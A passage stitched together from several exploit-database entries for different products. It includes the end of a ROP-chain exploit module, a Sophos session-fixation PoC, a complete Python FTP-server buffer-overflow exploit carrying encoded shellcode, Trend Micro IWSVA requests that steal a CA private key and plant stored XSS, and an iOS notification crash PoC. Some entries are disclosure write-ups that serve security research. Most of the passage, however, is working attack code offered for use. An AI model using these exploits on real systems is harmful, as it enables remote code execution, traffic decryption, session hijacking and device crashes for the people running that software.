    head << "\x00" * 68

    # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
    ropchain = [
      0x8093262,  # ret
      0x73,       # cs reg
      0x804AE2C,  # execve,
      0xcacc013,  # padding
      0x8136CF0,  # /bin/sh
      0,
      0
    ].pack("V*")

    pivotback = 0x08141223  # sub esp, ebx ; retf
    writable = 0x81766f8    # writable loc

    body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
    body << rand_text_alpha(104)
    body << ropchain
    body << rand_text_alpha(0xb4 - body.size)
    body << [0x50].pack("V")
    body << rand_text_alpha(0xc4 - body.size)
    body << [pivotback].pack("V")
    body << [writable].pack("V")
    body << rand_text_alpha(0x108 - body.size)

    head + body
  end
end
            
# Exploit Title: [Sophos Secure Web Appliance Session Fixation Vulnerability]
# Date: [28/02/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [https://www.sophos.com/en-us/products/secure-web-gateway.aspx]
# Version: [Tested on Sophos Web Appliance version 4.3.1.1. Older versions may also be affected]
# Tested on: [Sophos Web Appliance version 4.3.1.1]
# CVE : [CVE-2017-6412]
# Vendor Security Bulletin: http://wsa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.1.2.html

==================
#Product:-
==================
Sophos Secure Web Appliance is a purpose-built secure web gateway appliance which makes web protection simple. It provides advanced protection from today’s sophisticated web malware with lightning performance that won’t slow users down. You get full control and instant insights over all web activity on your network.

==================
#Vulnerabilities:-
==================
Session Fixation Vulnerability

========================
#Vulnerability Details:-
========================

#1. Session Fixation Vulnerability (CVE-2017-6412)

A remote attacker could host a malicious page on his website that makes POST request to the victim’s Sophos Web Appliance to set the Session ID using STYLE parameter. The appliance does not validate if the Session ID sent by user/browser was issued by itself or fixed by an attacker.

Also, the appliance does not invalidate pre-login Session IDs it issued earlier once user logs in successfully. It continues to use the same pre-login Session ID instead of invalidating it and issuing a new one.

Note: An attacker would have to guess/know the IP address of the victim's device

Proof-of-Concept:

1.Visit the Sophos Login page to obtain pre-auth Session ID.

2.Host following webpage on attacking machine with the Session ID obtained in #1. It can be changed a little bit.

<html>
<body>
        <form name="Sophos_Login"action="https://192.168.253.147/index.php?c=login" method="POST" >
                <input type="hidden" name="STYLE" value="Pre-Auth Session ID">
        </form>

        <script>
                window.onload = function(){
                        document.forms['Sophos_Login'].submit()
                }
        </script>
</body>
</html>

3. Visit the above page another machine.

4. You will be redirected to the login page, however Session ID will be the same.

5. Log into the appliance and check the Session ID, it will be the same from #1.


====================================
#Vulnerability Disclosure Timeline:
====================================

28/02/2017: First email to disclose the vulnerability to the vendor
28/02/2017: Vendor requested a vulnerability report
28/02/2017: Report sent to vendor.
28/02/2017: Vendor validated the report and confirmed the vulnerability
01/03/2017: CVE MITRE assigned CVE-2017-6412 to this vulnerability
03/03/2017: Vendor confirms that the fix is ready and is in the process of testing.
09/03/2017: Vendor confirmed that the patch will be released on March 17 2017 and requested to hold off publishing the CVE until March 31 2017.
17/03/2017: Vendor released the patch: http://wsa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.1.2.html
31/03/2017: Published CVE as agreed by vendor
            
#!/usr/bin/python
 
print "LabF nfsAxe 3.7 FTP Client Buffer Overflow (SEH)"
print "Author: Tulpa / tulpa[at]tulpa-security[dot]com"
 
#Author website: www.tulpa-security.com
#Author twitter: @tulpa_security
 
#Tested on Windows Vista x86

import socket
import sys

#badchars \x00\x10\x0a

buf =  ""
buf += "\xbb\x7e\xbc\x7c\x19\xda\xc2\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x59\x83\xe8\xfc\x31\x58\x0e\x03\x26\xb2\x9e"
buf += "\xec\x3e\xf2\x5e\x0f\xbe\x40\x12\x4b\xbe\xa1\xd5\x95"
buf += "\xc7\xc8\x6f\x9c\x7e\xb7\xdd\x8e\x69\x13\x07\xbf\xae"
buf += "\x85\x31\xca\x9d\xfd\xaf\xc8\xe6\x8f\x7e\x3f\xf4\xee"
buf += "\xa6\xdd\x77\xa2\x8e\x27\xb9\xce\xce\x9b\x53\x78\x7c"
buf += "\xee\x04\xb5\xb0\x20\xfe\xf5\xf8\x3c\xff\x5e\x55\xb4"
buf += "\x1a\xe9\x08\xc6\x8e\xda\xeb\xa2\xc5\x1a\x87\x6b\xd5"
buf += "\x97\xe7\x77\x48\x2c\x5f\x80\x79\x3f\xed\xc7\x51\x11"
buf += "\xbf\x18\x79\x18\xfc\xbe\x92\x0b\x69\x49\x3a\x2d\x83"
buf += "\x23\xc8\x74\xd0\xc9\xcc\x06\x1f\x37\xb8\xe2\xb1\x6b"
buf += "\xbf\xdf\xbe\x64\xb3\x20\xc1\x74\x92\xa9\xc5\xfa\xc6"
buf += "\x41\xf4\xfd\x60\x17\x1b\x91\x6d\x43\x8c\x93\x6c\x6b"
buf += "\x4c\x6b\x3b\x4b\x1b\xc4\x94\xdc\xe4\xbd\x5d\xb4\x15"
buf += "\x14\x7d\xb3\x29\xa6\x82\x94\xfa\xa1\x7e\x1b\x27\x23"
buf += "\xf7\xfd\x4d\x53\x51\x51\x6d\x06\x45\x02\xc2\x56\x20"
buf += "\xb8\xb3\xfe\x99\x3f\x6e\xef\x94\x02\xf7\x8c\x4a\xd6"
buf += "\x75\xae\xb6\xe6\x45\xa5\xa3\x51\xb5\x91\x42\xb6\xff"
buf += "\xa2\x70\x29\x44\xd5\x3c\x6d\x79\xa0\xc0\x49\xc9\x3b"
buf += "\x44\xb6\x85\xb2\xc8\x92\x45\x48\x74\xff\x75\x06\x24"
buf += "\xae\x24\xf7\x85\x01\x8e\xa6\x54\x5d\x65\x49\x07\x5e"
buf += "\xd3\x79\x2e\x41\xb6\x86\xcf\xb3\xb8\x2c\x03\xe3\xb9"
buf += "\x9a\x57\xf4\x13\x0d\x34\x5f\xca\x1a\x31\x33\xd6\xbc"
buf += "\xce\x89\x2a\x36\x84\x14\x2b\x49\xce\x9c\x81\x51\x85"
buf += "\xf9\x35\x63\x72\x1e\x07\x2a\x0f\xd5\xe3\xad\xe1\x27"
buf += "\x0b\x51\xcc\x87\x5f\x92\xce\x7c\xa7\x22\xc1\x70\xa6"
buf += "\x63\x36\x78\x93\x17\xec\x69\x91\x06\x67\xcb\x7d\xc8"
buf += "\x9c\x8a\xf6\xc6\x29\xd8\x53\xcb\xac\x35\xe8\xf7\x25"
buf += "\xc8\x07\x1c\x3b\xfa\x17\x6a\xd1\xa3\xc9\x30\x7e\x9e"
buf += "\xfe\xca"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

egg = "w00tw00t"

nseh = "\x90\x90\xEB\x05" #JMP over SEH
seh = "\xF8\x54\x01\x68" #POP POP RET 680154F8 in WCMDPA10.DLL

buffer = "A" * 100 + egg + "\x90" * 10 + buf + "D" * (9266-len(buf)) + nseh + seh + egghunter + "C" * 576

port = 21

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
        print("[i] Evil FTP server started on port: "+str(port)+"\r\n")
except:
        print("[!] Failed to bind the server to port: "+str(port)+"\r\n")

while True:
    conn, addr = s.accept()
    conn.send('220 Welcome to your unfriendly FTP server\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+buffer+'" is current directory\r\n')
            
# Exploit Title: [Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x Multiple Vulnerabilities]
# Date: [12/01/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [http://www.trendmicro.com/us/enterprise/network-security/interscan-web-security/virtual-appliance/]
# Version: [Tested on  IWSVA 6.5-SP2 Critical Patch Build 1739 and prior versions in 6.5.x series. Older versions may also be affected]
# Tested on: [IWSVA 6.5-SP2 Critical Patch Build 1739]
# CVE : [CVE-2017-6338,CVE-2017-6339,CVE-2017-6340]
# Vendor Security Bulletin: https://success.trendmicro.com/solution/1116960

==================
#Product:-
==================
Trend Micro ‘InterScan Web Security Virtual Appliance (IWSVA)’ is a secure web gateway that combines application control with zero-day exploit detection, advanced anti-malware and ransomware scanning, real-time web reputation, and flexible URL filtering to provide superior Internet threat protection.

==================
#Vulnerabilities:-
==================
Multiple Incorrect Access Control,Stored Cross Site Scripting, and Sensitive Information Disclosure vulnerabilities

========================
#Vulnerability Details:-
========================

=============================================================================================================================
Sensitive Information Disclosure Vulnerability (CVE-2017-6339):-
=============================================================================================================================

Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS connections. It also allows administrators to upload their own certificates signed by root CA. An attacker with low privileges can download current CA certificate and Private Key (either the default ones or uploaded by administrators) and use those to decrypt HTTPS traffic thus compromising confidentiality.
Also, the default Private Key on this appliance is encrypted with very weak and guessable passphrase ‘trend’. If an appliance uses default Certificate and Private Key provided by Trend Micro, an attacker can simply download these and decrypt the Private Key using default passphrase ‘trend’.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user.
2. Send following POST requests:

Request#1: Download 'get_current_ca_cert.cer'

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=exportcert HTTP/1.1 
Host: 192.168.253.150:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Cookie: JSESSIONID=<SessionID>
Connection: close 
Upgrade-Insecure-Requests: 1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 147 

CSRFGuardToken=<Token>&op=save&defaultca=no&importca_certificate=&importca_key=&importca_passphrase=&importca_2passphrase=


Request#2: Download 'get_current_ca_key.cer'

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=exportkey HTTP/1.1
Host: 192.168.253.150:1812 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Cookie: JSESSIONID=<SessionID> 
Connection: close 
Upgrade-Insecure-Requests: 1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 147 

CSRFGuardToken=<Token>&op=save&defaultca=no&importca_certificate=&importca_key=&importca_passphrase=&importca_2passphrase=

3.Decrypt the Private Key using passphrase ‘trend’.


=============================================================================================================================
Multiple Incorrect Access Control Vulnerabilities (CVE-2017-6338):
=============================================================================================================================

#1. Missing functional level access control allows a low privileged user upload HTTPS Decryption Certificate and Private Key:
-----------------------------------------------------------------------------------------------------------------------------

Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS connections. It also allows administrators to upload their own certificates signed by root CA.
An attacker with low privileges can upload new CA certificate and Private Key and use those to decrypt HTTPS traffic thus compromising confidentiality.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user ‘Test2’.
2. Send following POST request:

Request#1:

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=import HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Content-Type: multipart/form-data; boundary=---------------------------7e11fd2fd0ac0
Accept-Encoding: gzip, deflate
Content-Length: 4085
Host: 192.168.253.150:1812
Pragma: no-cache
Cookie: JSESSIONID=E595855EF5900782921945280ABA46CD
Connection: close

-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="CSRFGuardToken"

S8PM5QG974XLWS992MCK5M67T6D0A575
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="op"

save
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="defaultca"
no
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_certificate"; filename="get_current_ca_cert(2).cer"
Content-Type: application/x-x509-ca-cert

-----BEGIN CERTIFICATE-----
	---snip---
-----END CERTIFICATE-----

-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_key"; filename="get_current_ca_key(1).cer"
Content-Type: application/x-x509-ca-cert

-----BEGIN RSA PRIVATE KEY-----
	---snip---
-----END RSA PRIVATE KEY-----

-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_passphrase"

trend
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_2passphrase"

trend
-----------------------------7e11fd2fd0ac0--

3. Above request will delete/remove existing certificates and add new one. To confirm if the certificate and private key were uploaded successfully, log in with Administrator account and download the certificate/key. These should be the ones that you uploaded.


#2. Missing functional level access control allows an authenticated user change FTP access control setting
-----------------------------------------------------------------------------------------------------------------------------
An attacker with read only rights can change ‘FTP Access Control Settings’ by sending a specially crafted POST request.

#Proof-of-Concept:

1.Log into IWSVA web console with least privilege user ‘Auditor’.
2.Send following POST request:

Request#1:

POST /ftp_clientip.jsp HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.253.150:1812/ftp_clientip.jsp
Cookie: JSESSIONID=<SessionID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 250
	
CSRFGuardToken=<Token>&op=save&change_op=nochanged&daemonaction=8&input_tips=40+characters+maximum&ftp__use_client_acl=yes&use_client_acl_view=yes&inputtype=ip&ip=192.168.253.133&desc=Ubuntu&itemlist=192.168.253.133+%3BUbuntu

3. This enables FTP access.
4. Log into IWSVA web console as admin from another browser and check to see if FTP Access Control List has been updated.



#3. Missing functional level access control allows an Auditor user create/modify reports
-----------------------------------------------------------------------------------------------------------------------------
An authenticated, remote attacker with ‘Auditor’ role assigned to him/her, can modify existing reports or create a new one. This user can also exploit the stored cross-site scripting vulnerability mentioned above.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user ‘Auditor’.
2. Send following POST requests:


Request#1:

POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=<Token>&mode=add
Content-Length: 92
Cookie: JSESSIONID=<SessionID>
Connection: close

{"action":"check_name","name":"AuditorsReport\<script\>alert(\"Hola Auditor!\")\</script\>"}


Request#2:

POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=<Token>&mode=add
Content-Length: 2877
Cookie: JSESSIONID=<SessionID>
Connection: close

{"action":"add","template":{"reports":{"internet_security":[["top_malware_spyware_detection",10,true,[0]],["top_botnet_detection",10,true,[0]],["top_advanced_threats_detection",10,true,[0]],["top_custom_defense_apt_blocking",10,true,[0]],["c&c_contact_alert_count_by_date",0,true,[0]],["top_c&c_contact_ip_domains",10,true,[0]],["top_users_hosts_detected_by_c&c_contact_alert",10,true,[0]],["top_groups_detected_by_c&c_contact_alert",10,true,[0]],["top_malicious_sites_blocked",10,true,[0]],["top_users_blocked_by_malware_spyware",10,true,[0]],["top_users_blocked_by_malicious_sites",10,true,[0]],["top_groups_blocked_by_malware_spyware",10,true,[0]],["top_groups_blocked_by_malicious_site",10,true,[0]],["top_users_by_bot_net_detection",10,true,[0]],["most_violation_for_http_malware_scan_policy",0,true,[0]],["malicious_sites_blocked_by_date",0,true,[2]],["malware_spyware_detection_by_date",0,true,[2]],["malware_spyware_detection_trend",0,true,[3]]],"internet_access":[["top_applications_visited",10,true,[0]],["top_url_categories_visited",10,true,[0]],["top_sites_visited",10,true,[0]],["top_users_by_requests",10,true,[0]],["top_groups_by_requests",10,true,[0]],["top_url_categories_by_browse_time",10,true,[0]],["top_sites_visited_by_browse_time",10,true,[0]],["top_users_by_browse_time",10,true,[0]],["activity_level_by_days",0,true,[5]]],"bandwidth":[["top_url_categories_by_bandwidth",10,true,[0]],["top_applications_by_bandwidth",10,true,[0]],["top_users_by_bandwidth",10,true,[0]],["top_groups_by_bandwidth",10,true,[0]],["top_sites_by_bandwidth",10,true,[0]],["total_traffic_by_days",0,true,[3]]],"policy_enforcement":[["top_url_categories_blocked",10,true,[0]],["top_applications_blocked",10,true,[0]],["top_users_enforced",10,true,[0]],["top_groups_enforced",10,true,[0]],["top_sites_blocked",10,true,[0]],["top_users_by_http_inspection",10,true,[0]],["most_violation_for_url_filtering_policy",0,true,[0]],["most_violation_for_application_control_policy",0,true,[0]],["most_violation_for_access_quota_control_policy",0,true,[0]],["most_violation_for_applets_and_activex_policy",0,true,[0]],["most_violation_for_http_inspection_policy",0,true,[0]]],"data_security":[["top_dlp_templates_blocked_by_requests",10,true,[2]],["top_blocked_users",10,true,[0]],["top_blocked_groups",10,true,[0]],["most_violation_for_data_loss_prevention_policy",0,true,[0]]],"custom_reports":[]},"mail_to":[""],"fail_mail_to":""],"description":"","name":"AuditorsReport,"enable":true,"frequency":0,"scheduled":false,"start_date":1484170920,"runtime":"0:3:12","max_exec_number":0,"period":"1D","from":1484159400,"to":1484245800,"scheduled_time_filter":"0","device_group":"","type":"PDF","list_number":10,"mail_enable":false,"mail_from":"","subject":"","message":"","mail_attach":false,"fail_notice":false,"report_by":0,"report_by_list":{}}}



=============================================================================================================================
Stored Cross Site Scripting (CVE-2017-6340):
=============================================================================================================================
An authenticated, remote attacker can inject a Java script while creating a new report that results in a stored cross-site scripting attack.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user ‘Auditor’.
2. Send following POST requests:

Request#1:

POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=EPCB6FAIRAK4393A74A9SYCRKR2C6VZM&mode=edit&tid=19b59380-4a41-4134-81af-f7e2e6ce06d9
Content-Length: 88
Cookie: JSESSIONID=5F8A705062C1D9C14B0026F8C89D5CC8
Connection: close

{"action":"check_name","name":"TestReport1\<script\>alert(\"Hola Report!\")\</script\>"}

Request#2:

POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=EPCB6FAIRAK4393A74A9SYCRKR2C6VZM&mode=edit&tid=19b59380-4a41-4134-81af-f7e2e6ce06d9
Content-Length: 3041
Cookie: JSESSIONID=5F8A705062C1D9C14B0026F8C89D5CC8
Connection: close

{"action":"modify","tid":"19b59380-4a41-4134-81af-f7e2e6ce06d9","template":{"tid":"19b59380-4a41-4134-81af-f7e2e6ce06d9","name":"TestReport1\<script\>alert(\"Hola Report!\")\</script\>","description":"","enable":true,"period":"1D","from":-2209096400,"to":-2209096400,"frequency":0,"scheduled":false,"start_date":1481060520,"runtime":"0:0:0","max_exec_number":0,"type":"PDF","list_number":10,"mail_enable":false,"mail_from":"","mail_to":[""],"subject":"","message":"","mail_attach":false,"fail_notice":false,"fail_mail_to":[""],"report_by":0,"report_by_list":{},"reports":{"internet_security":[["top_malware_spyware_detection",10,true,[0]],["top_botnet_detection",10,true,[0]],["top_advanced_threats_detection",10,true,[0]],["top_custom_defense_apt_blocking",10,true,[0]],["c&c_contact_alert_count_by_date",0,true,[0]],["top_c&c_contact_ip_domains",10,true,[0]],["top_users_hosts_detected_by_c&c_contact_alert",10,true,[0]],["top_groups_detected_by_c&c_contact_alert",10,true,[0]],["top_malicious_sites_blocked",10,true,[0]],["top_users_blocked_by_malware_spyware",10,true,[0]],["top_users_blocked_by_malicious_sites",10,true,[0]],["top_groups_blocked_by_malware_spyware",10,true,[0]],["top_groups_blocked_by_malicious_site",10,true,[0]],["top_users_by_bot_net_detection",10,true,[0]],["most_violation_for_http_malware_scan_policy",0,true,[0]],["malicious_sites_blocked_by_date",0,true,[2]],["malware_spyware_detection_by_date",0,true,[2]],["malware_spyware_detection_trend",0,true,[3]]],"internet_access":[["top_applications_visited",10,true,[0]],["top_url_categories_visited",10,true,[0]],["top_sites_visited",10,true,[0]],["top_users_by_requests",10,true,[0]],["top_groups_by_requests",10,true,[0]],["top_url_categories_by_browse_time",10,true,[0]],["top_sites_visited_by_browse_time",10,true,[0]],["top_users_by_browse_time",10,true,[0]],["activity_level_by_days",0,true,[5]]],"bandwidth":[["top_url_categories_by_bandwidth",10,true,[0]],["top_applications_by_bandwidth",10,true,[0]],["top_users_by_bandwidth",10,true,[0]],["top_groups_by_bandwidth",10,true,[0]],["top_sites_by_bandwidth",10,true,[0]],["total_traffic_by_days",0,true,[3]]],"policy_enforcement":[["top_url_categories_blocked",10,true,[0]],["top_applications_blocked",10,true,[0]],["top_users_enforced",10,true,[0]],["top_groups_enforced",10,true,[0]],["top_sites_blocked",10,true,[0]],["top_users_by_http_inspection",10,true,[0]],["most_violation_for_url_filtering_policy",0,true,[0]],["most_violation_for_application_control_policy",0,true,[0]],["most_violation_for_access_quota_control_policy",0,true,[0]],["most_violation_for_applets_and_activex_policy",0,true,[0]],["most_violation_for_http_inspection_policy",0,true,[0]]],"data_security":[["top_dlp_templates_blocked_by_requests",10,true,[2]],["top_blocked_users",10,true,[0]],["top_blocked_groups",10,true,[0]],["most_violation_for_data_loss_prevention_policy",0,true,[0]]],"custom_reports":[]},"last_gen_time":1481103598,"current_exec_time":1,"scheduled_time_filter":"0","device_group":"","last_update_by":"test2"}}

3.Any user visiting 'reports.jsp' and 'show_auditlog.jsp' pages will see the alert.


===================================
#Vulnerability Disclosure Timeline:
===================================

15/02/2017: First email to disclose the vulnerability to the Trend Micro incident response team
20/02/2017: Second email to ask for acknowledgment
23/02/2017: Third email to ask for acknowledgment
25/02/2017  Vendor confirms vulnerabilities stating that the fix is being worked on.
27/02/2017: Mitre assigned CVE-2017-6338, CVE-2017-6339 and CVE-2017-6340 to these vulnerabilities
14/03/2017: Vendor confirms that the final release date would be disclosed soon.
28/03/2017: Vendor released security advisory: https://success.trendmicro.com/solution/1116960
            
# Exploit Title: Apple iOS < 10.3.2 - Notifications API Denial of Service
# Date: 05-15-2017
# Exploit Author: Sem Voigtländer (@OxFEEDFACE), Vincent Desmurs (@vincedes3) and Joseph Shenton
# Vendor Homepage: https://apple.com
# Software Link: https://support.apple.com/en-us/HT207798
# Version: iOS 10.3.2
# Tested on: iOS 10.3.2 iPhone 6
# CVE : CVE-2017-6982

# We do not disclose a PoC for remote notifications.
# PoC for local notifications. (Objective-C).


defaults = [NSUserDefaults standardUserDefaults];
UIUserNotificationType types = UIUserNotificationTypeBadge | UIUserNotificationTypeSound | UIUserNotificationTypeAlert;
UIUserNotificationSettings *mySettings = [UIUserNotificationSettings settingsForTypes:types categories:nil];
[[UIApplication sharedApplication] registerUserNotificationSettings:mySettings];

//1
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];

NSTimeInterval interval;
interval = 5; //Time here in second to respring
UILocalNotification* localNotification = [[UILocalNotification alloc] init];
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//2
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//3
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//4
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//5
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//6
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//7
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//8
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//9
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//10
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42014.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1174

The attached fuzzed swf causes a crash due to heap corruption when processing the margins of a rich text field.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42018.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1107

Windows: COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP
Platform: Windows 10 10586/14393 not tested 8.1 Update 2
Class: Elevation of Privilege

Summary:
When accessing an OOP COM object using IRemUnknown2 the local unmarshaled proxy can be for a different interface to that requested by QueryInterface resulting in a type confusion which can result in EoP.

Description:

